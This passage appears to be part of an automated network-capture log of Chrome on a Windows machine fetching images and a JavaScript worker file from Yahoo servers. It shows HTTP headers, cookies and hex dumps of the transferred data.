2024-04-27 22:41:50 UTC	1300	IN	Data Raw: f0 db 49 4b 5d d7 f0 eb e6 a3 6e 51 b6 6d 32 1e d8 3f aa 49 ea 92 41 f4 fe 35 5d 77 84 59 59 d9 b9 3c b3 54 e8 6d 45 a7 23 32 cc 2b a4 e4 30 86 c0 44 64 a7 e2 5a 90 39 64 81 82 9f cf eb 55 f1 48 d6 46 1b 21 e3 58 70 5a cb ab ac 4e 5e e0 cc f7 a7 dc 2b 5b 2f 21 58 53 69 50 c1 c8 ec 54 39 67 d3 ca 9f 48 3c 14 e4 7e 15 5f 23 17 2d f0 af 30 d8 87 15 58 5b 2d 32 03 84 79 9d e7 0b e9 cf 3b 4f af 33 45 b2 06 07 39 b6 5b e3 ac 34 2d ba 86 42 bc 15 24 88 a2 27 82 a2 40 50 f9 b7 28 02 42 8e 4f 3e 94 a8 cd 21 a9 44 78 b3 44 e2 22 63 ec 7a d2 e5 c1 65 7b b6 a9 1b 04 7e 40 02 14 32 49 c0 eb 9c f2 fa 62 4c 6e 88 b3 d8 b0 df d3 97 fd 41 60 91 a7 2f 90 50 eb 2f 78 8a 71 49 5a 72 39 73 08 dc 30 52 49 e6 0e 79 00 39 d4 9a 77 ae 0d 35 e8 37 c8 a5 b3 32 d7 11 3d 9e a7 68 65 Data Ascii: IK]nQm2?IA5]wYY<TmE#2+0DdZ9dUHF!XpZN^+[/!XSiPT9gH<~_#-0X[-2y;O3E9[4-B$'@P(BO>!DxD"cze{~@2IbLnA`/P/xqIZr9s0RIy9w572=he
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: f7 31 c9 64 af 38 81 c5 2b 80 98 f6 9d d2 ad 46 40 69 45 0e 3e 55 c8 28 76 db 8e 7f 9d 42 a8 92 3a 97 0d 70 15 c7 10 50 55 df 96 06 74 d6 1a 5e f9 16 f3 fd 25 76 53 b3 14 eb be 33 ea c7 3d c3 9e 47 e7 fa 53 d6 b7 89 6c 68 78 83 d9 c3 d2 2d d5 7a 32 e6 fc 8d 93 a5 98 7b 88 bc 18 8b 02 43 af 21 a9 0d 25 2a 59 49 01 44 0e 5f c6 8f 6c e4 e6 3a c5 cb 8a c3 32 e2 74 dd cf 4a ea b9 da 69 c0 7f a8 74 81 cb e1 28 3d 31 f9 1a b2 85 df 64 65 53 6c a5 f5 e7 e2 56 1d 52 e8 79 c5 84 3c a2 b4 8d df 2f a5 5c 2c 60 73 d0 bb fd 86 84 46 f8 b4 35 b5 ce 69 88 6d 2d 78 d1 89 39 0b 73 3d 0f 9f d2 a1 dc 32 3c 9b 5d 99 f5 23 4f 7b 62 a6 ef 00 c9 93 6b 84 ca 92 e2 9b 1b 89 f8 c0 c7 c4 39 f4 34 a5 72 b0 45 ea 6a a3 2a 5a 14 a4 48 c7 9e 2a c1 93 63 dc ba f8 14 db 0b d5 12 92 ea 97 Data Ascii: 1d8+F@iE>U(vB:pPUt^%vS3=GSlhx-z2{C!%YID_l:2tJit(=1deSlVRy</\,`sF5im-x9s=2<]#O{bk94rEjZH*c
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: a5 20 d0 0d de 94 a4 b2 29 2c 9e dd e9 47 80 60 1c 69 2f c4 7d 12 23 b8 a4 38 d9 0b 42 92 70 52 a1 d0 d3 55 a8 42 b4 1c 26 93 4c 72 32 70 7c cb b9 a6 38 41 c6 56 35 53 2d d8 35 2c 94 b5 77 4a 42 59 75 5c 93 27 c8 13 d9 7e 9d fb 79 57 94 fd a3 fb 38 9d 84 dd f5 8a cd 3e ed 2f 43 71 a4 eb ca e1 2a 15 be 2f f2 5c 09 18 e7 9e b5 c5 1c 1c 1e 19 b3 5d b2 83 91 d6 93 81 2d 60 39 1d 28 b0 01 4a 68 e4 00 d4 d3 61 07 26 80 b0 c6 fb d1 30 1d 55 22 40 0c a6 c0 18 9a 00 06 9a 00 3b 40 07 a8 06 8e a6 97 17 87 b0 a2 71 a5 06 34 44 ac f7 4c a3 fa 91 fc ab bd f0 d7 fd 1d 4b ee 66 56 fe 7e 15 d2 9a f4 79 3e 6e 70 fe c9 2b 45 f1 0e ef a7 a5 46 78 db e7 a9 52 a3 bb 9c 8d bf b5 cb b6 09 f3 e7 8a c7 49 f5 31 7f 8f f2 75 4d 76 e7 fe 26 d0 69 5d d6 f8 d1 46 de 22 4c 7f 8c 0d 5a Data Ascii: ),G`i/}#8BpRUB&Lr2p\|8AV5S-5,wJBYu\'~yW8>/Cq*/\]-`9(Jha&0U"@;@q4DLKfV~y>np+EFxRI1uMv&i]F"LZ
2024-04-27 22:41:50 UTC	55	IN	Data Raw: 58 cd b1 ae f1 78 86 b6 1a 2d 73 43 a9 e7 cc 67 ce 90 ad 89 5c f8 ec 51 fc 6b bf ea 0d 3b 73 72 25 b7 4d 48 7c b4 08 40 3b b6 fc db 7b 0e bd f0 7a 0a 3e 9d 0c 4a e1 Data Ascii: Xx-sCg\Qk;sr%MH\|@;{z>J
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: a1 a7 83 fc 6c 9a c5 c1 9b 66 ab d2 0d c4 8d 21 58 4b c9 41 41 49 3d 42 82 b9 8e df e4 d3 c9 74 e3 76 f7 1d 43 dd 1b 0b 88 56 37 b5 0f 05 2e 92 9c 92 ec b6 e3 45 32 a3 2d d3 95 84 a3 0a 40 27 be 08 23 27 9f 2a 8b 77 bc 72 29 3f 7b 82 95 f6 69 8e ee a2 bb 49 87 22 53 21 ec ad 4d 25 c5 84 6e e9 9c 12 71 e5 54 ae 5c db 21 37 76 92 6b 28 d3 92 74 66 a4 d2 70 25 4b b1 cf b8 26 43 88 28 2d a1 e5 29 b4 8f 3c 67 1e 7d 05 5e e8 96 95 ed 96 4c c3 52 8b 6a b1 8f fd a6 f4 5e ae 9b 1a 1a ee 37 37 9c 33 e6 f8 8f ba bf 17 70 73 39 48 46 01 07 20 6d 39 1c 8e 15 e9 56 b7 69 c6 2f 22 1c 92 ec 32 71 75 e7 6d dc 0a d3 f6 8c 20 bc 96 52 b7 77 27 3b 12 90 6b 9b af 35 d4 bf 13 41 c0 92 71 d5 7c 74 66 e4 5e 23 bc e2 51 3c 10 83 d3 06 ac f9 32 8f 49 43 57 8b c2 b8 15 ae eb 0a 3f Data Ascii: lf!XKAAI=BtvCV7.E2-@'#'*wr)?{iI"S!M%nqT\!7vk(tfp%K&C(-)<g}^LRj^773ps9HF m9Vi/"2qum Rw';k5Aq\|tf^#Q<2ICW?
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 6f f8 19 b7 77 95 83 37 71 1f 47 5b f5 bd cd 1a 3b 7a 99 8e d3 49 88 52 95 7a 60 9c fd ab 85 4e ed d9 4d b2 df 49 bc 7a 54 3a 84 67 dd 53 ec f3 69 d3 1c 4a b5 e8 cb 9d dd e6 ed 37 50 7d da 57 45 05 f2 f8 49 fb f5 fa d5 ac 75 39 78 1d 42 37 d6 7c 55 5a f2 c2 7f df 12 c6 bd fb 0d 5a e0 db 9f 95 68 d6 33 96 f3 68 2a d8 b4 85 05 63 e9 48 fa 73 3b 38 14 b6 3c 6b 72 ee d4 1f cc c9 1c 40 b9 dd e2 6c d2 ef 28 a6 24 25 29 b0 9c 75 70 1c 6e ad c6 8f 89 d0 cb 2c f8 d6 73 f1 54 97 dc 43 82 5d 47 f7 6f 2d 19 eb b7 bd 5c 74 51 ee 63 96 a1 75 1e d2 7f a9 20 d2 9f 8b 3b 31 33 83 eb 75 b6 4e 3e 33 df eb 54 9a a2 b7 8c 92 3a 3f 09 fd 23 ab c5 d7 94 fc 91 2e 7d 1f ed 23 c4 3e 1b 38 96 34 9d fd c8 cd a0 85 16 d4 37 a4 9f 31 e5 f9 d6 c6 c3 a7 76 e8 e6 9c 4a 9d a6 a1 51 0b 75 Data Ascii: ow7qG[;zIRz`NMIzT:gSiJ7P}WEIu9xB7\|UZZh3h*cHs;8<kr@l($%)upn,sTC]Go-\tQcu ;13uN>3T:?#.}#>8471vJQu
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 85 f8 c9 da 37 01 f0 fe 58 a1 77 75 d6 47 96 44 6f 12 b3 dd 15 04 8f 64 29 b1 ef 4e 5f 6d da d5 6e 2d c2 a2 58 75 9f 3c f4 50 3e a7 b5 61 2f 78 42 85 de 5f 31 64 f5 6a fd 3f 81 c8 50 7e d5 be ce 9a ce cb c3 e5 6a 26 ad af 4c 9b 61 73 df 59 7e 31 f1 0a 42 70 4e 07 cd fa 55 2a e1 8b 9b 2c a5 e6 81 6f c3 3a bf 4b 71 c9 73 ea 44 34 87 19 11 7e e1 73 57 49 57 14 37 21 30 ca 1e 4a 8e 14 54 13 dc 1e 95 91 bd b0 70 ba c1 a0 a1 a3 f3 eb 91 a7 1e cd a7 fc 99 39 dd 2d 13 88 31 25 1f 79 65 0e b7 25 4b e6 a0 54 09 e7 f6 ad dd 8f 51 18 af 04 eb 7a f4 74 85 38 c6 fb e5 fc 15 b5 ce c1 6e 81 3d e8 4b bd 36 95 32 b2 9c 6c cf f3 ab be b2 e5 2d e2 65 9f 0f e8 f7 5f 51 58 90 d8 b4 cd c9 3a 69 c1 6d 3e f4 43 9b dc 2d a7 3b 00 ee 6b 3d 75 77 e3 dc f9 8d f6 99 67 6f c3 fa 33 4a Data Ascii: 7XwuGDod)N_mn-Xu<P>a/xB_1dj?P~j&LasY~1BpNU*,o:KqsD4~sWIW7!0JTp9-1%ye%KTQzt8n=K62l-e_QX:im>C-;k=uwgo3J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49816	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	530	OUT	GET /uu/api/res/1.2/UBMooNKKCIrVBSrb.DltNg--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/cd405030-049f-11ef-9c1f-972b114593c0.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	1288	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 301813853958573624784380524655393267055,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="cd405030-049f-11ef-9c1f-972b114593c0.webp" Edge-Cache-Tag: 301813853958573624784380524655393267055,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "f978c8bf358dc42843698227a8f92fa9" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 15:00:02 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=13456,owidth=5000,oheight=2816,obytes=2822699,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 15:06:49 GMT X-Served-By: cache-lga21944-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714230409.262071,VS0,VE2 Age: 27301 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21944-LGA cld_latency: 2 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 29572 ATS-Carp-Promotion: 1
2024-04-27 22:41:50 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 b4 01 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 02 03 00 03 01 01 00 00 00 00 00 00 00 00 00 05 06 03 04 07 01 02 08 00 09 ff c4 00 40 10 00 02 01 03 02 04 04 05 02 04 04 05 04 03 01 01 01 02 03 04 05 11 00 21 06 12 31 41 13 22 51 61 07 14 71 81 91 32 a1 15 42 b1 Data Ascii: JFIFCCd@!1A"Qaq2B
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 99 56 e1 d1 7f 1a 0a 49 4b 69 80 2a 0b 73 02 b9 c6 65 0e d8 ef e9 ed a6 3e 0a bd ca b5 7c 87 e9 ef fc 2f 25 a9 29 de da f1 ba 0c 67 c2 3c cd ef 91 b6 8a 95 5f 00 55 a3 fc 6f f9 05 5d aa 29 ed 10 2c b6 7b 3c f2 20 19 62 e5 94 83 f6 24 ef bf e3 4d 6d ae 11 d4 17 7e 7d ba 93 04 1e 26 a9 b8 33 34 56 b8 97 18 cf 91 89 1b 63 63 92 7b 68 3e 54 59 56 10 a1 e4 2d 67 e3 19 a9 29 de 96 bc c9 80 b9 1c e3 04 7d 35 19 fc 83 5e db 3f 68 8a 7a eb 3d 6a 95 aa 8e 16 3d a4 45 21 8f af 30 1b 7f 7d f5 3a 97 92 b6 9a f1 fb 68 05 5d 45 4a b5 48 d4 32 20 53 92 17 7d f5 cb b6 6a 50 ad 3e d7 ca 70 66 5f 37 85 81 cf d7 0c 3b 7d f5 cd af 04 61 83 ab 6d 91 f3 29 a5 92 00 a7 3e 50 e0 11 f5 c9 d2 9b dc bb 46 e5 b5 ef 44 31 c6 ee dc b3 48 54 7a a3 67 6e f9 c1 d2 c6 67 f6 16 6c d5 e9 6b Data Ascii: VIKi*se>\|/%)g<_Uo]),{< b$Mm~}&34Vcc{h>TYV-g)}5^?hz=j=E!0}:h]EJH2 S}jP>pf_7;}am)>PFD1HTzgnglk
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: df 42 eb 64 bb 6f 6d 2e 58 b1 71 aa ae 8e a4 34 73 f2 ac 9d 06 33 8c 7f 5e ba 16 db 66 b5 bc 69 38 f1 c0 2a b6 ef 79 82 52 fc e0 c6 7a 36 dd 3b 6d 9d 8f b6 85 e5 9a 56 f6 b6 a5 1f e2 d5 8e b8 1e 10 6e c7 93 a6 87 03 fd 35 25 fd 88 cd d2 e1 04 72 53 24 ce 8a 72 c0 86 c8 23 fb ce 87 01 2b 7a 55 3d d8 2b d7 71 0c ff 00 2d cb 9e 66 8c ec c3 5d 81 d4 6c 63 ac ef 6b af b8 55 37 33 55 95 c7 ff 00 b0 12 4f ef a0 c3 06 ee 85 2a 7f a4 62 a3 b9 56 26 21 73 96 1d 06 76 3a 25 36 b8 31 eb 50 87 82 d8 bd a8 da 45 0a de 9c 9a ed 73 2b fa 3c 8b 82 8a e4 ec 05 41 0e 3d 57 24 8f b1 c6 ab a4 fc 9b 6e e2 8a 18 a3 b3 d3 4d 44 6a 9e a6 48 e2 6f 53 96 ea 7b 7a 68 e2 8c c7 5f 15 4a 0d c3 e2 24 7a 81 72 57 9b 6e 54 05 81 1f 7d b5 cd 60 7a bf 5c 69 05 a8 ac a6 aa 11 ac 5c d8 df 97 Data Ascii: Bdom.Xq4s3^fi8yRz6;mVn5%rS$r#+zU=+q-f]lckU73UObV&!sv:%61PEs+<A=W$nMDjHoS{zh_J$zrWnT}`z\i\
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 93 31 3f 2f 23 23 8e 81 7b e8 74 00 ee b1 f5 1d 05 a9 a8 24 2e d2 b6 14 81 a2 f4 ec 97 70 ab ac 60 bf 1d c9 a2 40 9f e0 b6 3b 91 aa dc 15 9d 1d c7 7b 6d a5 29 e4 2b 55 14 72 ac 83 18 75 fe 87 3b 7e 46 ae b4 b0 60 d6 b9 df 62 7a 4e 1d 49 25 72 aa 90 c3 b0 66 66 c7 86 77 db 3a 4c 96 18 b5 72 df 20 d1 4a 81 97 01 37 60 59 8a e4 b1 fe 51 8f 42 0e fa 8c 60 b6 9a f2 c1 fc 41 15 d2 ed 35 3c 53 db da 1a ba 75 c3 ac 60 00 c0 6e 3d 77 c6 aa e3 f5 97 e8 4e 9d 0e 5e c0 e8 a2 af 90 45 4d 35 b1 e3 55 e6 cb 48 bf ab a6 76 f5 ce 7f 3a 62 59 26 6e 9a f7 29 84 eb 68 e9 3c 35 8e 19 19 e3 61 90 18 0f 2f a8 db 5d 81 74 6e 17 92 2a 8b 7c 88 29 a4 8a a1 6b 25 23 2b 18 8c f2 80 06 70 7f ed 9d 4e 0e 57 09 f3 b1 c2 d1 24 73 45 5d 73 a4 0e f3 93 cf 4f 19 2b c8 47 f3 1c 74 eb d7 7d Data Ascii: 1?/##{t$.p`@;{m)+Uru;~F`bzNI%rffw:Lr J7`YQB`A5<Su`n=wN^EM5UHv:bY&n)h<5a/]tn*\|)k%#+pNW$sE]sO+Gt}
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: dd 98 38 71 80 55 e2 ef 43 3d b9 63 32 4d e2 03 cc 7c 4c 05 c7 fa 46 c7 f6 d7 4d ee 77 64 19 6f 98 34 89 3d 1a c3 51 c8 0b 08 77 04 01 d7 9b d3 46 b6 e4 1a 94 9f ea 0c 1b ad 04 b2 ac f5 3c 36 ef 52 18 33 f8 32 a1 19 20 80 58 7a 6a 65 8f d2 3b 00 bb dd 64 f5 73 23 dc 4a d3 c5 92 8b 12 a9 2c 71 8c f4 db b8 d2 59 c9 3f 07 1f c3 21 aa 33 4f 0a b8 8a 35 e7 62 e8 46 df 6c f7 03 51 83 a3 94 ca 76 7a 71 5b 72 05 ca e4 b2 f2 a0 5c 60 63 04 e7 a7 61 f9 d7 35 81 95 38 0c 71 17 0f 3d 1d 1c d5 36 e9 16 44 99 8b b0 5d cf 28 38 07 40 c9 83 c6 0c ca 2a da ab 05 c5 6a 68 25 9d 79 98 2b a9 e8 de 9b 74 3d ff 00 3a 0c 1b eb 17 b4 71 50 3d 59 c4 54 17 98 44 52 53 d3 0e 40 30 e0 f2 c8 1b b9 24 7a ef b7 d3 51 85 e4 cd f4 f5 a8 70 2d d7 4d 6a 57 cc 90 06 50 48 e6 07 39 d4 bd 1e Data Ascii: 8qUC=c2M\|LFMwdo4=QwF<6R32 Xzje;ds#J,qY?!3O5bFlQvzq[r\`ca58q=6D](8@*jh%y+t=:qP=YTDRS@0$zQp-MjWPH9
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 9d 46 70 4f 7b bb 0f a4 b9 55 05 30 f0 cc 14 d3 d4 78 98 cb c7 2f 2b 6f dc 9c 1c fd 7f a6 a3 20 24 ff 00 24 53 d4 56 4e ab 4a e2 63 4f 11 e6 94 34 ea db f7 fe ff 00 27 51 90 de 0b 13 51 51 d0 ac 73 da 6b 4f 89 4f 22 90 ee 08 2e 3d 30 17 1b 7a e7 7c 9f 4d 48 32 df 91 9e d7 c4 36 99 d4 c1 77 a7 58 65 74 08 f3 c4 c1 e3 6f 56 39 ce 0f a8 d4 60 1e 44 ee 29 b5 f0 fb cb e2 5a 6a de 69 1f fe 26 10 95 07 d3 3f ee 34 38 1d 19 ca 8e c2 8d 55 34 51 cc 67 59 3c 3c 0d 80 8c 8e 66 3e b9 df 1e f8 d4 49 1a b1 af a8 01 25 b5 8b 2b 3c ea 8a 0e eb ce 0e 7d 80 1b e9 4f 94 69 aa fb 71 92 4a c7 a4 b7 d2 4f 37 32 cd 27 85 fe 22 26 c0 1c ed f5 ed 93 a5 55 e0 2a 10 9d 6a 91 5c 19 05 ea ba e1 70 98 cd 14 8e 80 f5 55 6c 6b 3f 4e f9 3e 81 69 08 5b c7 12 59 29 41 c5 9c 57 6c 94 78 77 Data Ascii: FpO{U0x/+o $$SVNJcO4'QQQskOO".=0z\|MH26wXetoV9`D)Zji&?48U4QgY<<f>I%+<}OiqJO72'"&U*j\pUlk?N>i[Y)AWlxw
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 07 d3 dd cf 9d 3e 55 0c 45 71 c8 58 36 37 07 a8 e8 76 e9 a9 52 0f d3 12 55 f1 75 1d 0c e1 29 11 e1 90 0c 91 9d f2 08 3d 46 33 9e bb 83 d7 45 dc 27 d1 f7 16 49 3f 8e fc f9 5a 8a ca 07 f1 58 73 f8 8e 8a 41 27 b8 e6 07 db 5d ab 02 dd 1d 21 44 7a 55 88 34 9e 0d 37 73 98 95 18 67 fe 42 07 4c 8d f7 df 5d dd 48 ee ce 41 b7 4b a5 96 78 1a 37 78 22 8a 30 a0 3f 86 c7 3e f8 c6 e3 e8 4e 86 55 93 2c 2a 0d fd b3 3c ab b9 db 8d 76 16 13 2c 60 64 3a 0e 4c 6d e9 bf a6 92 ea a3 66 8d a5 47 0e 70 42 89 6a 77 33 2c e0 79 70 c2 71 b3 03 db ae 91 ec 63 f1 56 1e d4 80 77 ae 10 b6 88 da b2 86 94 44 cf 26 4a ab 12 06 7d 8e 71 f9 d0 b8 af 06 b5 b7 53 ae 96 2b 01 ee b6 1b 74 72 47 17 82 ff 00 a7 9b cc a5 7a fd 74 0d 17 2d 6e eb e7 39 11 2e 50 c9 4f 3f 82 eb fa 7a 1f 5d 2a 49 1e 9a Data Ascii: >UEqX67vRUu)=F3E'I?ZXsA']!DzU47sgBL]HAKx7x"0?>NU,<v,`d:LmfGpBjw3,ypqcVwD&J}qS+trGzt-n9.PO?z]I
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 14 56 c8 69 3c 3f 55 45 4d 14 d7 7a 17 58 05 29 2a c0 80 4e 73 d3 71 9c 7a 6f db 3e f3 f9 28 3a ba fe 82 95 07 10 d4 43 5f 1a 8a a9 25 8d 49 c6 46 42 b1 18 e9 f7 fa 69 5a f2 37 b4 b4 6e 41 1d d2 5b 8d c3 c3 51 34 73 b3 f2 cb 09 61 c8 e3 b9 56 61 b7 d0 ea 1c 72 39 53 54 90 bb 79 ae 86 0a 99 c5 33 c9 1c 0a e5 0f 38 27 1f ec 75 49 c9 9a 16 d4 13 13 a7 ba 4c d2 10 88 ce 11 f2 17 b0 23 40 f2 7a 2a 56 b4 d2 dc 1f 34 d3 89 48 90 84 c7 5c b7 4f df 5c 8b ea 11 7b 05 28 6e d2 d3 a8 45 1c d8 eb e6 d3 53 33 ee 6d 7c a0 a5 2c 96 89 e2 6f 9c 56 52 d8 c8 0c 39 4f d9 8e da 24 d3 e4 a0 e3 5d 6d 12 95 da a7 83 e6 80 a5 2d b9 aa 24 3d 25 73 83 fb 13 9d 47 c6 f9 2c 5b d3 bb 8e ee 62 ad 47 07 31 b9 d2 f3 84 74 72 1b 07 2b db a6 ff 00 4d 55 92 c1 b9 47 a8 ae cb dc d3 6d d1 fc Data Ascii: Vi<?UEMzX)Nsqzo>(:C_%IFBiZ7nA[Q4saVar9STy38'uIL#@zV4H\O\{(nES3m\|,oVR9O$]m-$=%sG,[bG1tr+MUGm
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: a9 ed bc 3b 7e 98 53 54 c6 f0 3d 53 31 8f c5 5d 97 a6 41 6f c7 5d bd b5 1a 50 d8 ca bd ab d8 9a b7 e0 6c f1 f2 cf 64 7a 2a ae 7e 5c 2b 30 57 5c ff 00 fe 4f ed ae 51 45 f8 f5 29 ff 00 ba 2a 5d be 06 71 20 91 a5 6a 10 ec 3a b2 e5 81 fb 8d 43 b7 c9 77 fe 20 85 1d 80 51 fc 38 bd 52 ca 5e 4b 5c ff 00 e1 90 00 e5 eb 9c fb fb 7d 34 bf 4e c2 ff 00 88 21 25 f5 17 0f c3 6b 95 6f fc 6a 06 86 19 77 5c 91 e5 1e b8 c8 07 3f 4e da 35 46 2b 90 5f 5f 8f 83 93 c3 bc 3f 62 68 fc 59 d8 4f bf f8 8c 79 89 fb 74 fc 03 a9 d3 4a 3c 9d ea ee 2e b8 5b 1d 99 e9 a5 09 54 5b c4 86 31 98 b9 d4 ff 00 88 cc 01 62 49 dc 8e 9f d9 d6 7d c3 59 f6 9c 9c b3 da ff 00 a8 1a f1 c4 34 74 13 c0 aa f2 55 55 cc dc 8e e5 b6 51 dc 74 d5 44 f2 6d da d9 65 65 84 f8 73 8a 3f 87 55 47 4a 90 73 a4 d1 65 01 Data Ascii: ;~ST=S1]Ao]Pldz~\+0W\OQE)]q j:Cw Q8R^K\}4N!%kojw\?N5F+__?bhYOytJ<.[T[1bI}Y4tUUQtDmees?UGJse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49820	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	842	OUT	GET /__rapid-worker-1.2.js HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
2024-04-27 22:41:50 UTC	836	IN	HTTP/1.1 200 OK x-amz-id-2: Sp6pKlQHBHkk499zHR3mMQoJP8gX+0Bkd+DPn5d5StFlYBi0ouAuSAr1ajoXT0KE8t/ZMj26vBc= x-amz-request-id: RYD2JXCKW3SDSXTV Date: Fri, 26 Apr 2024 23:57:08 GMT Last-Modified: Tue, 06 Mar 2018 20:46:57 GMT ETag: "e2202e6ed6ef52cec2c4a875c99225ba" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 x-amz-meta-created-date: Wed, 15 Oct 2014 18:48:37 GMT x-amz-meta-mbst-etag: "YM:1:e64293ae-a913-4bb2-8dd1-87431f3be4230005057a946243f1" x-amz-meta-x-ysws-mbst-vtime: 1413398917170161 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public x-amz-version-id: null Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 15697 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 81883 Strict-Transport-Security: max-age=31536000
2024-04-27 22:41:50 UTC	743	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 61 6e 64 62 6f 78 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 20 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 2d 74 6f 2d 65 73 63 61 70 65 2d 73 61 6e 64 62 6f 78 20 61 6c 6c 6f 77 2d 70 72 65 73 65 6e 74 61 74 69 6f 6e 3b 20 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 61 74 73 26 73 69 